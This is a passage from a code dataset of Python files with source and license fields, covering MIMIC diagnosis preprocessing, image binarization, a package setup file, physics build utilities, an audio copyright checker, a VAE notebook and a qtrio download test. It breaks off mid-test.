3: \n return dxStr[:3]\n else: \n return dxStr\n\nif __name__ == '__main__':\n admissionFile = sys.argv[1]\n diagnosisFile = sys.argv[2]\n outFile = sys.argv[3]\n\n # \u6620\u5c04pid-vid\u3001vid-\u65e5\u671f\n \"\"\"\n pidAdmMap example: 22: [165315], 23: [152223, 124321]\n \"\"\"\n print('Building pid-admission mapping, admission-date mapping')\n pidAdmMap = {}\n admDateMap = {}\n infd = open(admissionFile, 'r')\n infd.readline()\n for line in infd:\n tokens = line.strip().split(',')\n pid = int(tokens[1]) # SUBJECT_ID\n admId = int(tokens[2]) # HADM_ID\n admTime = datetime.strptime(tokens[3], '%Y-%m-%d %H:%M:%S')\n admDateMap[admId] = admTime\n if pid in pidAdmMap: \n pidAdmMap[pid].append(admId)\n else: \n pidAdmMap[pid] = [admId]\n infd.close()\n \n # \u6620\u5c04vid-\u8bca\u65ad\u7f16\u7801\n \"\"\"\n admDxMap_3digit example: 109976: ['D_191', 'D_331', 'D_530']\n \"\"\"\n print('Building admission-dxList mapping')\n admDxMap = {}\n admDxMap_3digit = {}\n infd = open(diagnosisFile, 'r')\n infd.readline()\n for line in infd:\n tokens = line.strip().split(',')\n admId = int(tokens[2]) # HADM_ID\n dxStr = 'D_' + convert_to_icd9(tokens[4][1:-1]) # use the entire ICD9 digits\n dxStr_3digit = 'D_' + convert_to_3digit_icd9(tokens[4][1:-1]) # use the 3-digit ICD9 digits\n\n if admId in admDxMap: \n admDxMap[admId].append(dxStr)\n else: \n admDxMap[admId] = [dxStr]\n \n\n if admId in admDxMap_3digit: \n admDxMap_3digit[admId].append(dxStr_3digit)\n else: \n admDxMap_3digit[admId] = [dxStr_3digit]\n infd.close()\n\n # \u6620\u5c04pid-(\u65e5\u671f+\u8bca\u65ad\u7f16\u7801)\n # \u4ec5\u4fdd\u7559\u542b\u6709\u4e24\u6b21\u53ca\u4ee5\u4e0a\u5c31\u8bca\u8bb0\u5f55\u7684\u60a3\u8005\n \"\"\"\n pidSeqMap_3digit example: \n 23: [(datetime.datetime(2153, 9, 3, 7, 15), ['D_414', 'D_411', 'D_424', 'D_V45', 'D_272', 'D_401', 'D_600', 'D_389']), \n (datetime.datetime(2157, 10, 18, 19, 34), ['D_225', 'D_348', 'D_780', 'D_424', 'D_401', 'D_272', 'D_272', 'D_V45', 'D_V45', 'D_V15'])]\n \"\"\"\n print('Building pid-sortedVisits mapping')\n pidSeqMap = {}\n pidSeqMap_3digit = {}\n for pid, admIdList in pidAdmMap.items():\n if len(admIdList) < 2: \n continue\n\n sortedList = sorted([(admDateMap[admId], admDxMap[admId]) for admId in admIdList])\n pidSeqMap[pid] = sortedList\n\n sortedList_3digit = sorted([(admDateMap[admId], admDxMap_3digit[admId]) for admId in admIdList])\n pidSeqMap_3digit[pid] = sortedList_3digit\n\n # \u5206\u522b\u521b\u5efapid\u3001\u65e5\u671f[[date1,date2], ...]\u3001\u8bca\u65ad\u7f16\u7801\u5217\u8868[[[c1,c2],[c3]],...]\n print('Building pids, dates, strSeqs')\n pids = []\n dates = []\n seqs = []\n for pid, visits in pidSeqMap.items():\n pids.append(pid)\n seq = []\n date = []\n for visit in visits:\n date.append(visit[0])\n seq.append(visit[1])\n dates.append(date)\n seqs.append(seq)\n\n print('Building pids, dates, strSeqs for 3digit ICD9 code')\n seqs_3digit = []\n for pid, visits in pidSeqMap_3digit.items():\n seq = []\n for visit in visits:\n seq.append(visit[1])\n seqs_3digit.append(seq)\n \n # \u6620\u5c04\u6570\u5b57-\u8bca\u65ad\u7f16\u7801\n print('Converting strSeqs to intSeqs, and making types')\n types = {}\n newSeqs = []\n for patient in seqs: # patient = [[c1,c2],[c3]]\n newPatient = []\n for visit in patient: # visit = [c1,c2]\n newVisit = []\n for code in visit: # code = c1\n if code in types:\n newVisit.append(types[code])\n else:\n types[code] = len(types)\n newVisit.append(types[code]) # newVisit: \u8f6c\u5316\u4e3a\u6570\u5b57\u540e\u6bcf\u6b21\u5c31\u8bca\u7684\u8bca\u65ad\n newPatient.append(newVisit) # newPatient: \u60a3\u8005\u5c31\u8bca\u8bb0\u5f55\u7684\u96c6\u5408\n newSeqs.append(newPatient)\n\n print('Converting strSeqs to intSeqs, and making types for 3digit ICD9 code')\n types_3digit = {}\n newSeqs_3digit = []\n for patient in seqs_3digit:\n newPatient = []\n for visit in patient:\n newVisit = []\n for code in set(visit):\n if code in types_3digit:\n newVisit.append(types_3digit[code])\n else:\n types_3digit[code] = len(types_3digit)\n newVisit.append(types_3digit[code])\n newPatient.append(newVisit)\n newSeqs_3digit.append(newPatient)\n \n # pickle.dump(obj, file, protocol): If a negative number is specified, HIGHEST_PROTOCOL is selected.\n pickle.dump(pids, open(outFile+'.pids', 'wb'), -1)\n pickle.dump(dates, open(outFile+'.dates', 'wb'), -1)\n pickle.dump(newSeqs, open(outFile+'.seqs', 'wb'), -1)\n pickle.dump(types, open(outFile+'.types', 'wb'), -1)\n pickle.dump(newSeqs_3digit, open(outFile+'.3digitICD9.seqs', 'wb'), -1)\n pickle.dump(types_3digit, open(outFile+'.3digitICD9.types', 'wb'), -1)\n", "source": "irislxxy/GRAM", "license": "BSD-3-Clause"} {"text": "from skimage import io,data,color\nimport matplotlib.pyplot as plt\nimport os\n\ncwd=os.getcwd()\n\ndata_dir2=cwd+'/split/'\nfile_list2=os.listdir(data_dir2)\nfile_list2.sort(key=lambda x:int(x[:-4]))\nnum=1\nfor file in file_list2:\n img=io.imread(data_dir2+file)\n img_gray=color.rgb2gray(img)\n rows,cols=img_gray.shape\n for i in range(rows):\n for j in range(cols):\n if (img_gray[i,j]<=0.5):\n img_gray[i,j]=0\n else:\n img_gray[i,j]=1\n io.imsave(data_dir2+'grey_'+str(num)+'.jpg',img_gray)\n num += 1\n# io.imshow(img_gray)\n\n", "source": "lhq1208/Cole", "license": "Apache-2.0"} {"text": "import setuptools\n\nwith open(\"README.md\") as f:\n README = f.read()\n \nsetuptools.setup(\n name=\"QuranAPI\",\n version=\"1.5\",\n description=\"Get Quran verses specifically or even randomly! Alongside the Quran we also provide prayer times thanks to Aladhan!\",\n long_description=README,\n long_description_content_type=\"text/markdown\",\n url = \"https://github.com/zacharierrr/QuranAPI/\",\n author=\"nooby xviii\",\n author_email=\"xviii2008@gmail.com\",\n packages=setuptools.find_packages(),\n include_package_data=True,\n install_requires=[\"aiohttp\"],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n python_requires=\">=3.7\"\n )\n \n", "source": "zacharierrr/QuranAPI", "license": "MIT"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import print_function\n\nimport os.path as osp\nimport logging, subprocess, os, shutil, re, pprint, csv\nfrom .termcolor import colored\nimport svjgenprod\n\nlogger = logging.getLogger('root')\nsubprocess_logger = logging.getLogger('subprocess')\n\n\nclass switchdir(object):\n \"\"\"\n Temporarily changes the working directory\n \"\"\"\n def __init__(self, newdir, dry=False):\n super(switchdir, self).__init__()\n self.newdir = newdir\n self._backdir = os.getcwd()\n self.dry = dry\n \n def __enter__(self):\n logger.info('chdir to {0}'.format(self.newdir))\n if not self.dry: os.chdir(self.newdir)\n\n def __exit__(self, type, value, traceback):\n logger.info('chdir back to {0}'.format(self._backdir))\n if not self.dry: os.chdir(self._backdir)\n\n\ndef run_command(cmd, env=None, dry=False, shell=False):\n logger.warning('Issuing command: {0}'.format(' '.join(cmd)))\n if dry: return\n\n if shell:\n cmd = ' '.join(cmd)\n\n process = subprocess.Popen(\n cmd,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n env=env,\n universal_newlines=True,\n shell=shell\n )\n\n for stdout_line in iter(process.stdout.readline, \"\"):\n subprocess_logger.info(stdout_line.rstrip('\\n'))\n # print(colored('[subprocess] ', 'red') + stdout_line, end='')\n process.stdout.close()\n process.wait()\n returncode = process.returncode\n\n if returncode == 0:\n logger.info('Command exited with status 0 - all good')\n else:\n logger.error('Exit status {0} for command: {1}'.format(returncode, cmd))\n raise subprocess.CalledProcessError(cmd, returncode)\n\n\ndef run_multiple_commands(cmds, env=None, dry=False):\n logger.info('Sending cmds:\\n{0}'.format(pprint.pformat(cmds)))\n if dry:\n logger.info('Dry mode - not running command')\n return\n\n process = subprocess.Popen(\n 'bash',\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n env=env,\n # universal_newlines=True,\n bufsize=1,\n close_fds=True\n )\n\n # Break on first error (stdin will still be written but execution will be stopped)\n process.stdin.write('set -e\\n')\n process.stdin.flush()\n\n for cmd in cmds:\n if not(type(cmd) is str):\n cmd = ' '.join(cmd)\n if not(cmd.endswith('\\n')):\n cmd += '\\n'\n # logger.warning('Sending cmd \\'{0}\\''.format(cmd.replace('\\n', '\\\\n')))\n process.stdin.write(cmd)\n process.stdin.flush()\n process.stdin.close()\n\n process.stdout.flush()\n for line in iter(process.stdout.readline, \"\"):\n if len(line) == 0: break\n # print(colored('[subprocess] ', 'red') + line, end='')\n subprocess_logger.info(line.rstrip('\\n'))\n\n process.stdout.close()\n process.wait()\n returncode = process.returncode\n\n if (returncode == 0):\n logger.info('Command exited with status 0 - all good')\n else:\n raise subprocess.CalledProcessError(cmd, returncode)\n\n\ndef create_directory(dir, force=False, dry=False, must_not_exist=False):\n newly_created = False\n\n def create():\n logger.warning('Creating {0}'.format(dir))\n if not dry: os.makedirs(dir)\n\n def delete():\n logger.warning('Removing dir {0}'.format(dir))\n if not dry: shutil.rmtree(dir)\n\n if osp.isdir(dir):\n if force:\n delete()\n create()\n newly_created = True\n elif must_not_exist:\n raise OSError('{0} already exist but must not exist'.format(dir))\n else:\n logger.info('Already exists: {0}'.format(dir))\n else:\n create()\n newly_created = True\n\n return newly_created\n\n\ndef make_inode_unique(file):\n if not osp.exists(file): return file\n file += '_{i_attempt}'\n i_attempt = 1\n while osp.exists(file.format(i_attempt=i_attempt)):\n i_attempt += 1\n if i_attempt == 999:\n raise ValueError('Problem making unique directory/file (999 attempts): {0}'.format(file))\n return file.format(i_attempt=i_attempt)\n\n\ndef check_proxy():\n # cmd = 'voms-proxy-info -exists -valid 168:00' # Check if there is an existing proxy for a full week\n try:\n proxy_valid = subprocess.check_output(['grid-proxy-info', '-exists', '-valid', '168:00']) == 0\n logger.info('Found a valid proxy')\n except subprocess.CalledProcessError:\n logger.error(\n 'Grid proxy is not valid for at least 1 week. Renew it using:\\n'\n 'voms-proxy-init -voms cms -valid 192:00'\n )\n raise\n\n\ndef check_scram_arch():\n \"\"\"\n Checks whether the scram_arch is slc6\n \"\"\"\n scram_arch = os.environ['SCRAM_ARCH']\n if not scram_arch.startswith('slc6'):\n logger.warning(\n 'Detected SCRAM_ARCH = {0}; '\n 'There might be incompatibility issues later on by not '\n 'using slc6!!'\n .format(scram_arch)\n )\n\n\ndef decomment(open_file):\n \"\"\"\n Yields lines one by one, stripping everything after '#'\n \"\"\"\n for line in open_file:\n line = line.split('#')[0].strip()\n if line: yield line\n\n\ndef crosssection_from_file(file, m_med_target):\n \"\"\"\n Assumes a two column file with first column m_med, second column xs.\n Does not require any dependencies like this.\n \"\"\"\n logger.debug('Loading xsec list from file {0}'.format(file))\n with open(file ,'r') as f:\n for line in decomment(f):\n m_med, xs = line.split()\n m_med = float(m_med)\n if m_med == m_med_target:\n xs = float(xs)\n logger.debug('Found xs = {0} for m_med = {1}'.format(xs, m_med_target))\n return xs\n raise ValueError(\n 'Could not find cross section for m_med = {0} in {1}'\n .format(m_med_target, file)\n )\n\n\ndef get_model_name_from_tarball(tarball):\n match = re.search(r'(.*)_slc[67]', osp.basename(tarball))\n if not match:\n raise ValueError(\n 'Could not determine model_name from {0}'\n .format(tarball)\n )\n model_name = match.group(1)\n logger.info('Retrieved model_name {0} from {1}'.format(model_name, tarball))\n return model_name\n\n\ndef setup_cmssw(workdir, version, arch):\n \"\"\"\n Generic function to set up CMSSW in workdir\n \"\"\"\n\n if osp.isdir(osp.join(workdir, version)):\n logger.info('{0} already exists, skipping'.format(version))\n return\n logger.info('Setting up {0} {1} in {2}'.format(version, arch, workdir))\n cmds = [\n 'cd {0}'.format(workdir),\n 'shopt -s expand_aliases',\n 'source /cvmfs/cms.cern.ch/cmsset_default.sh',\n 'export SCRAM_ARCH={0}'.format(arch),\n 'cmsrel {0}'.format(version),\n 'cd {0}/src'.format(version),\n 'cmsenv',\n 'scram b',\n ]\n run_multiple_commands(cmds)\n logger.info('Done setting up {0} {1} in {2}'.format(version, arch, workdir))\n\n\ndef compile_cmssw_src(cmssw_src, arch):\n \"\"\"\n Generic function to (re)compile a CMSSW setup\n \"\"\"\n if not osp.abspath(cmssw_src).endswith('src'):\n raise ValueError('cmssw_src {0} does not end with \"src\"'.format(cmssw_src))\n\n logger.info('Compiling {0} with scram arch {1}'.format(cmssw_src, arch))\n cmds = [\n 'shopt -s expand_aliases',\n 'source /cvmfs/cms.cern.ch/cmsset_default.sh',\n 'export SCRAM_ARCH={0}'.format(arch),\n 'cd {0}'.format(cmssw_src),\n 'cmsenv',\n 'scram b',\n ]\n run_multiple_commands(cmds)\n logger.info('Done compiling {0} with scram arch {1}'.format(cmssw_src, arch))\n\n\ndef compile_cmssw(workdir, version, arch):\n \"\"\"\n As compile_cmssw_src but takes separated arguments\n \"\"\"\n compile_cmssw_src(osp.join(workdir, version))\n\n\ndef remove_file(file):\n \"\"\"\n Removes a file only if it exists, and logs\n \"\"\"\n if osp.isfile(file):\n logger.warning('Removing {0}'.format(file))\n os.remove(file)\n else:\n logger.info('No file {0} to remove'.format(file))\n\n\ndef remove_dir(directory):\n \"\"\"\n Removes a dir only if it exists, and logs\n \"\"\"\n if osp.isdir(directory):\n logger.warning('Removing dir {0}'.format(directory))\n shutil.rmtree(directory)\n else:\n logger.info('No directory {0} to remove'.format(directory))\n\n\ndef tarball_head(outfile=None):\n \"\"\"\n Creates a tarball of the latest commit\n \"\"\"\n\n if outfile is None:\n outfile = osp.join(os.getcwd(), 'svjgenprod.tar')\n outfile = osp.abspath(outfile)\n\n with switchdir(osp.join(svjgenprod.SVJ_TOP_DIR, '..')):\n try:\n run_command(['git', 'diff-index', '--quiet', 'HEAD', '--'])\n except subprocess.CalledProcessError:\n logger.error(\n 'Uncommitted changes detected; it is unlikely you want a tarball '\n 'with some changes not committed.'\n )\n raise\n run_command(['git', 'archive', '-o', outfile, 'HEAD'])\n\n\ndef get_mg_crosssection_from_logfile(log_file):\n \"\"\"\n Gets the madgraph cross section from the log file that was created when creating a gridpack\n \"\"\"\n with open(log_file) as f:\n match = re.search(r'(?<=Cross-section : )(\\d*.\\d+)', f.read())\n if not match:\n raise ValueError(\n 'Could not determine cross section from log_file {0}'.format(log_file)\n )\n xs = match.group(1)\n logger.info('Found cross section %s from log_file %s', xs, log_file)\n return float(xs)\n\ndef copy_to_output(file, change_name=None, dry=False):\n \"\"\"\n Copies a file to the svjgenprod.SVJ_OUTPUT_DIR.\n Does not change the filename by default, but `change_name` can be passed\n to change the filename. The output directory will still be svjgenprod.SVJ_OUTPUT_DIR.\n \"\"\"\n svjgenprod.utils.create_directory(svjgenprod.SVJ_OUTPUT_DIR)\n dst = osp.join(svjgenprod.SVJ_OUTPUT_DIR, osp.basename(file if change_name is None else change_name))\n logger.info('Copying {0} ==> {1}'.format(file, dst))\n if not dry:\n shutil.copyfile(file, dst)\n\ndef read_preprocessing_directives(filename):\n \"\"\"\n Reads '#$' directives form a file\n \"\"\"\n r = {}\n with open(filename, 'r') as f:\n for line in f.readlines():\n line = line.strip()\n if line.startswith('#$'):\n if not '=' in line:\n logger.warning(\n 'Preprocessing directive does not contain \\'=\\'; skipping: \\'%s\\'',\n line\n )\n continue\n line = line.lstrip('#$')\n key, value = [c.strip() for c in line.split('=', 1)]\n r[key.lower()] = value\n continue\n return r\n", "source": "tklijnsma/svjgenprod", "license": "BSD-3-Clause"} {"text": "from django.apps import AppConfig\n\n\nclass PhorosConfig(AppConfig):\n name = 'phoros'\n", "source": "Soniawangui/Galerie", "license": "MIT"} {"text": "from ._abstract import AbstractScraper\n\n\nclass OhSheGlows(AbstractScraper):\n \n @classmethod\n def host(self):\n return 'ohsheglows.com'\n ", "source": "hotfix/recipe-scrapers", "license": "MIT"} {"text": "from moviepy.editor import VideoFileClip\nimport os\nimport base64\nimport hmac\nimport hashlib\nimport time\nimport requests\n\n\n# https://docs.acrcloud.com/reference/identification-api\n\ndef login(acr_credentials):\n access_key = acr_credentials[\"access_key\"]\n access_secret = acr_credentials[\"secret_key\"]\n\n requrl = f'https://{acr_credentials[\"host\"]}/v1/identify'\n timestamp = time.time()\n\n string_to_sign = f'POST\\n/v1/identify\\n{access_key}\\naudio\\n1\\n{str(timestamp)}'\n sign = base64.b64encode(hmac.new(bytes(access_secret, encoding=\"utf8\"), bytes(string_to_sign, encoding=\"utf8\"),\n digestmod=hashlib.sha1).digest())\n\n data = {'access_key': access_key,\n 'sample_bytes': 0,\n 'timestamp': str(timestamp),\n 'signature': sign,\n 'data_type': \"audio\",\n \"signature_version\": \"1\"}\n\n response = requests.post(requrl, files=None, data=data)\n\n if response.status_code != 200:\n raise Exception(f'An error occured while authenticating ACRCloud: {response.json()}')\n\n if response.json()[\"status\"][\"code\"] != 3006:\n raise Exception(\"An error occured while authenticating ACRCloud: invalid credentials\",\n response.json()[\"status\"][\"msg\"])\n\n return acr_credentials\n\n\ndef is_copyright(file_path, acr_credentials):\n access_key = acr_credentials[\"access_key\"]\n access_secret = acr_credentials[\"secret_key\"]\n requrl = f'https://{acr_credentials[\"host\"]}/v1/identify'\n\n temp_dir = os.path.dirname(os.path.realpath(file_path))\n audio_file_path = os.path.join(temp_dir, 'temp.mp3')\n\n video = VideoFileClip(file_path)\n audio = video.audio\n audio.write_audiofile(audio_file_path, logger=None)\n audio.close()\n video.close()\n\n timestamp = time.time()\n\n string_to_sign = f'POST\\n/v1/identify\\n{access_key}\\naudio\\n1\\n{str(timestamp)}'\n sign = base64.b64encode(hmac.new(bytes(access_secret, encoding=\"utf8\"), bytes(string_to_sign, encoding=\"utf8\"),\n digestmod=hashlib.sha1).digest())\n\n f = open(audio_file_path, \"rb\")\n sample_bytes = os.path.getsize(audio_file_path)\n\n files = [\n ('sample', ('temp.mp3', f, 'audio/mpeg'))\n ]\n data = {'access_key': access_key,\n 'sample_bytes': sample_bytes,\n 'timestamp': str(timestamp),\n 'signature': sign,\n 'data_type': \"audio\",\n \"signature_version\": \"1\"}\n\n response = requests.post(requrl, files=files, data=data)\n response.encoding = \"utf-8\"\n\n f.close()\n os.remove(audio_file_path)\n\n if response.status_code != 200:\n raise Exception(response.json())\n\n error_code = response.json()[\"status\"][\"code\"]\n\n if error_code != 0 and error_code != 1001:\n raise Exception(response.json()[\"status\"][\"msg\"])\n\n return error_code == 0\n", "source": "dumita123/twitch-highlights", "license": "Apache-2.0"} {"text": "# %%\nfrom IPython import get_ipython\n\nimport math\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.nn.functional import relu\nimport torch.optim as optim\nfrom torch.utils.data import TensorDataset, DataLoader\nfrom torch.distributions import Normal\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.datasets import make_moons\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n# %%\nN = 300\n# samples, sample_inds = make_moons(N, noise=0.1)\nx = torch.linspace(-5, 5, N)\ny = torch.sin(x) + torch.rand_like(x)\nsamples = torch.stack([x, y], dim=1)\nscaler = StandardScaler()\nscaler.fit(samples)\nsamples = torch.tensor(scaler.transform(samples), dtype=torch.float32)\nplt.scatter(samples[:, 0], samples[:, 1])\n\n# %%\nclass VAE(nn.Module):\n def __init__(self, x_sz, z_sz, hidden_sz=100):\n super(VAE, self).__init__()\n self.x_sz = x_sz\n self.z_sz = z_sz\n hidden_sz = hidden_sz\n\n self.enc_hidden = nn.Sequential(\n nn.Linear(x_sz, hidden_sz),\n nn.ReLU(),\n nn.Linear(hidden_sz, hidden_sz),\n nn.ReLU())\n self.enc_mu = nn.Linear(hidden_sz, z_sz)\n self.enc_logvar = nn.Linear(hidden_sz, z_sz)\n\n self.dec_hidden = nn.Sequential(\n nn.Linear(z_sz, hidden_sz),\n nn.ReLU(),\n nn.Linear(hidden_sz, hidden_sz),\n nn.ReLU())\n self.dec_mu = nn.Linear(hidden_sz, x_sz)\n self.dec_logvar = nn.Linear(hidden_sz, x_sz)\n\n def encode(self, X):\n out = self.enc_hidden(X)\n mu = self.enc_mu(out)\n logvar = self.enc_logvar(out)\n return mu, logvar\n\n def sample_latent(self, mu, logvar):\n noise = torch.randn(mu.shape)\n std = torch.exp(logvar / 2)\n return mu + noise * std\n\n def sample_obs(self, N):\n z = torch.randn(N, self.z_sz)\n return self.dec_mu(self.dec_hidden(z))\n\n def reconstruct(self, X):\n mu, _ = self.encode(X)\n return mu, self.dec_mu(self.dec_hidden(mu))\n\n def forward(self, X):\n mu, logvar = self.encode(X)\n z = self.sample_latent(mu, logvar)\n\n out = self.dec_hidden(z)\n x_mu = self.dec_mu(out)\n x_logvar = self.dec_logvar(out)\n return mu, logvar, x_mu, x_logvar\n\n def loss(self, X, mu, logvar, x_mu, x_logvar, batch_ratio, train_progress):\n mvn = Normal(x_mu, x_logvar.exp().unsqueeze(0))\n recon = -torch.mean(mvn.log_prob(X))\n kld = -0.5 * torch.mean(1 + logvar - mu.pow(2) - logvar.exp())\n loss = recon + kld\n return {'loss': loss, 'recon': recon, 'kld': kld}\n\n# %%\nx_sz = 2\nz_sz = 2\nhidden_sz = 1000\nmodel = VAE(x_sz, z_sz, hidden_sz)\n\nbatch_sz = 100\nlr = 1e-3\nnum_epochs = 100\nlog_interval = 1\n\noptimizer = optim.Adam(model.parameters(), lr=lr)\ntrain_ds = TensorDataset(samples)\ntrain_dl = DataLoader(train_ds, batch_size=batch_sz, shuffle=True)\nbatch_ratio = batch_sz / len(train_ds)\n\nrecon = torch.zeros(num_epochs)\nkld = torch.zeros(num_epochs)\n\nfor epoch in range(num_epochs):\n running_loss = 0.0\n train_progress = epoch / num_epochs\n\n for i, (X,) in enumerate(train_dl):\n optimizer.zero_grad()\n mu, logvar, x_mu, x_logvar = model(X)\n loss_dict = model.loss(X, mu, logvar, x_mu, x_logvar, batch_ratio, train_progress)\n loss = loss_dict['loss']\n loss.backward()\n optimizer.step()\n\n running_loss += loss.item()\n recon[epoch] += loss_dict['recon'].item()\n kld[epoch] += loss_dict['kld'].item()\n\n if epoch % log_interval == 0:\n print(f'epoch: {epoch} / loss: {running_loss}')\n\n running_loss = 0.0\n\n# %%\nmodel.eval()\nwith torch.no_grad():\n mu, recon_samples = model.reconstruct(samples)\n gen_samples = model.sample_obs(N)\n\nplt.plot(torch.arange(num_epochs), recon, label='recon')\nplt.plot(torch.arange(num_epochs), kld, label='kld')\nplt.legend()\nplt.show()\n\nplt.scatter(samples[:, 0], samples[:, 1])\nplt.title('training samples')\nplt.show()\n\nplt.scatter(recon_samples[:, 0], recon_samples[:, 1])\nplt.title('reconstructed samples')\nplt.show()\n\nplt.scatter(mu[:, 0], mu[:, 1])\nplt.title('latents')\nplt.show()\n\nfig, axs = plt.subplots(z_sz, 1, figsize=(3, 3 * z_sz))\nfor ind, ax in enumerate(axs):\n ax.hist(mu[:, ind].numpy())\nfig.suptitle('latents')\nplt.show()\n\nplt.scatter(gen_samples[:, 0], gen_samples[:, 1])\nplt.title('generated samples')\nplt.show()\n\n# %%\n", "source": "lewfish/gmm-pytorch", "license": "Apache-2.0"} {"text": "import os\nimport pathlib\nimport random\nimport sys\nimport typing\n\nimport hyperlink\nimport pytest\nimport trio\n\nimport qtrio.dialogs\nimport qtrio.examples.download\n\n\nminimum_python_version_for_quart_trio = (3, 7)\nif sys.version_info < minimum_python_version_for_quart_trio:\n minimum_python_version_string = \".\".join(\n str(v) for v in minimum_python_version_for_quart_trio\n )\n python_version_string = \".\".join(str(v) for v in sys.version_info)\n\n reason = (\n f\"quart-trio is not available for Python <{minimum_python_version_string}.\"\n f\" Running in Python {python_version_string}.\"\n )\n\n # quart-trio is expected to not be available but this is the public interface that\n # pytest provides for skipping and also terminating the import of the test module.\n pytest.importorskip(modname=\"quart_trio\", reason=reason)\n raise Exception(\"this should never run\") # pragma: no cover\n\n\n# By the time we get here, we know that quart-trio is supposed to be available.\nimport quart_trio\n\n\nT = typing.TypeVar(\"T\")\n\n\nasync def asynchronize(sequence: typing.Iterable[T]) -> typing.AsyncIterable[T]:\n for element in sequence:\n yield element\n\n\ndef randomly_chunked_bytes(\n random_generator: random.Random,\n chunk_size_minimum: int,\n chunk_size_maximum: int,\n chunk_count: int,\n) -> typing.List[bytes]:\n return [\n bytes(\n random_generator.randrange(256)\n for _ in range(\n random_generator.randrange(chunk_size_minimum, chunk_size_maximum)\n )\n )\n for _ in range(chunk_count)\n ]\n\n\n# Just using a seeded random.Random as an easy way to get consistent data without\n# storing it all in the repository.\nrandom_generator = random.Random(0)\none_chunk: typing.List[bytes] = [\n bytes(random_generator.randrange(256) for _ in range(1_000))\n]\nmany_chunks: typing.List[bytes] = [\n *randomly_chunked_bytes(\n random_generator=random_generator,\n chunk_size_minimum=10,\n chunk_size_maximum=20,\n chunk_count=10,\n ),\n b\"\",\n] * 2\n\n\n@pytest.fixture(\n name=\"chunked_data\",\n params=[\n many_chunks,\n one_chunk,\n ],\n ids=[\"Many chunks\", \"One chunk\"],\n)\ndef chunked_data_fixture(request):\n return request.param\n\n\n@pytest.fixture(\n name=\"content_length_specified\",\n params=[False, True],\n ids=[\"Unknown content length\", \"Known content length\"],\n)\ndef content_length_specified_fixture(request):\n return request.param\n\n\n@pytest.fixture(name=\"content_length\")\ndef content_length_fixture(content_length_specified, chunked_data):\n content_length: typing.Optional[int]\n\n if content_length_specified:\n content_length = sum(len(chunk) for chunk in chunked_data)\n else:\n content_length = None\n\n return content_length\n\n\n@pytest.fixture(name=\"url\")\ndef url_fixture():\n return hyperlink.URL.from_text(\"http://test/\")\n\n\n@pytest.fixture(name=\"http_application\")\ndef http_application_fixture(chunked_data, content_length_specified, content_length):\n application = quart_trio.QuartTrio(__name__)\n\n @application.route(\"/\")\n async def root():\n headers = {}\n\n if content_length_specified:\n headers[\"content-length\"] = content_length\n\n return asynchronize(chunked_data), 200, headers\n\n return application\n\n\n@pytest.fixture(\n name=\"optional_text_input_dialog\",\n params=[False, True],\n ids=[\"No text input dialog\", \"Text input dialog\"],\n)\ndef optional_text_input_dialog_fixture(request):\n if request.param:\n return qtrio.dialogs.create_text_input_dialog()\n\n return None\n\n\n@pytest.fixture(\n name=\"optional_file_dialog\",\n params=[False, True],\n ids=[\"No file dialog\", \"File dialog\"],\n)\ndef optional_file_dialog_fixture(request):\n if request.param:\n return qtrio.dialogs.create_file_save_dialog()\n\n return None\n\n\nasync def test_main(\n chunked_data: typing.List[bytes],\n http_application: quart_trio.QuartTrio,\n optional_text_input_dialog: typing.Optional[qtrio.dialogs.TextInputDialog],\n optional_file_dialog: typing.Optional[qtrio.dialogs.FileDialog],\n url: hyperlink.URL,\n tmp_path: pathlib.Path,\n) -> None:\n temporary_directory = trio.Path(tmp_path)\n\n data = b\"\".join(chunked_data)\n destination = temporary_directory.joinpath(\"file\")\n\n progress_dialog = qtrio.dialogs.create_progress_dialog()\n message_box = qtrio.dialogs.create_message_box()\n\n async def user():\n if optional_text_input_dialog is not None:\n emission = await emissions.channel.receive()\n assert emission.is_from(optional_text_input_dialog.shown)\n\n assert optional_text_input_dialog.line_edit is not None\n optional_text_input_dialog.line_edit.setText(url.to_text())\n\n assert optional_text_input_dialog.accept_button is not None\n optional_text_input_dialog.accept_button.click()\n\n if optional_file_dialog is not None:\n emission = await emissions.channel.receive()\n assert emission.is_from(optional_file_dialog.shown)\n\n assert optional_file_dialog.dialog is not None\n await optional_file_dialog.set_path(path=destination)\n\n assert optional_file_dialog.accept_button is not None\n optional_file_dialog.accept_button.click()\n\n emission = await emissions.channel.receive()\n assert emission.is_from(message_box.shown)\n\n assert message_box.accept_button is not None\n message_box.accept_button.click()\n\n signals = []\n\n if optional_text_input_dialog is not None:\n signals.append(optional_text_input_dialog.shown)\n\n if optional_file_dialog is not None:\n signals.append(optional_file_dialog.shown)\n\n signals.append(message_box.shown)\n\n async with qtrio.enter_emissions_channel(signals=signals) as emissions:\n async with trio.open_nursery() as nursery:\n nursery.start_soon(user)\n\n await qtrio.examples.download.main(\n url=url if optional_text_input_dialog is None else None,\n destination=destination if optional_file_dialog is None else None,\n fps=10,\n text_input_dialog=optional_text_input_dialog,\n file_dialog=optional_file_dialog,\n progress_dialog=progress_dialog,\n message_box=message_box,\n http_application=http_application,\n )\n\n async with await destination.open(\"rb\") as written_file:\n written = await written_file.read() # type: ignore[attr-defined]\n\n assert written == data\n\n\nasync def test_get_dialog(\n chunked_data: typing.List[bytes],\n http_application: quart_trio.QuartTrio,\n url: hyperlink.URL,\n tmp_path: pathlib.Path,\n) -> None:\n temporary_directory = trio.Path(tmp_path)\n\n data = b\"\".join(chunked_data)\n destination = temporary_directory.joinpath(\"file\")\n\n progress_dialog = qtrio.dialogs.create_progress_dialog()\n message_box = qtrio.dialogs.create_message_box()\n\n async def user():\n await emissions.channel.receive()\n\n assert message_box.accept_button is not None\n message_box.accept_button.click()\n\n async with qtrio.enter_emissions_channel(\n signals=[message_box.shown],\n ) as emissions:\n async with trio.open_nursery() as nursery:\n nursery.start_soon(user)\n\n await qtrio.examples.download.get_dialog(\n url=url,\n destination=destination,\n fps=0.1,\n progress_dialog=progress_dialog,\n message_box=message_box,\n http_application=http_application,\n )\n\n async with await destination.open(\"rb\") as written_file:\n written = await written_file.read() # 